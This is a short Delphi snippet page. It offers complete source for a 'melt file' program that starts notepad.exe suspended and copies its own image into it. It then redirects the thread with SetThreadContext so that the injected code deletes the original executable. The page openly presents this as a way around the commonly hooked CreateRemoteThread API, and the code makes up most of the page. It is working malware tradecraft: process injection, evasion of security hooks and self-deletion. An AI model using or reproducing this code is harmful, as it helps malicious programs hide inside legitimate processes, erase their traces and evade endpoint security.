Melt File - Code Injection without CreateRemoteThread

posted 13 Sep 2010, 15:18 by Delphi Basics   [ updated 14 Sep 2010, 07:39 ]
This snippet uses the GetThreadContext and SetThreadContext apis as a replacement for the often hooked CreateRemoteThread api. One disadvantage of this method is that the process should be suspended to safely perform the necessary process context operations. 

Snippets here show you how to suspend and resume a process: 
Suspend Process / Resume Process 

Author: steve10120
Compiled: Delphi 2007 

program Inj;
// by steve10120
uses
  Windows;

var
  sBuff:    array[0..255] of Char;

{$R *.res}

procedure MeltProc();
begin
  Sleep(500);
  DeleteFile(sBuff);
end;

function InjectCode(szProcessName:string; pFunction:Pointer):Boolean;
var
  STARTINFO:  TStartupInfo;
  PROCINFO:   TProcessInformation;
  pFunc:      Pointer;
  dSize:      DWORD;
  pInjected:  Pointer;
  dWritten:   DWORD;
  CONTEXT:    TContext;
  hMod:       THandle;
  IDH:        TImageDosHeader;
  INH:        TImageNtHeaders;
begin
  FillChar(STARTINFO, SizeOf(TStartupInfo), #0);
  STARTINFO.cb := SizeOf(TStartupInfo);
  if CreateProcess(nil, PChar(szProcessName),  nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, STARTINFO, PROCINFO) then
  begin
    hMod := GetModuleHandle(nil);
    CopyMemory(@IDH, Pointer(hMod), 64);
    if IDH.e_magic = IMAGE_DOS_SIGNATURE then
    begin
      CopyMemory(@INH, Pointer(hMod + IDH._lfanew), 248);
      if INH.Signature = IMAGE_NT_SIGNATURE then
      begin
        dSize := INH.OptionalHeader.SizeOfImage;
        pInjected := VirtualAllocEx(PROCINFO.hProcess, Ptr(hMod), dSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(PROCINFO.hProcess, pInjected, Ptr(hMod), dSize, dWritten);
        CONTEXT.ContextFlags := CONTEXT_FULL;
        GetThreadContext(PROCINFO.hThread, CONTEXT);
        CONTEXT.Eip := DWORD(pFunction);
        SetThreadContext(PROCINFO.hThread, CONTEXT);
        ResumeThread(PROCINFO.hThread);
      end;                 
    end;
  end;
end;

procedure MeltFile();
begin
  GetModuleFileName(0, sBuff, 256);
  InjectCode('notepad.exe', @MeltProc);
end;

begin
  MeltFile;
end.
Comments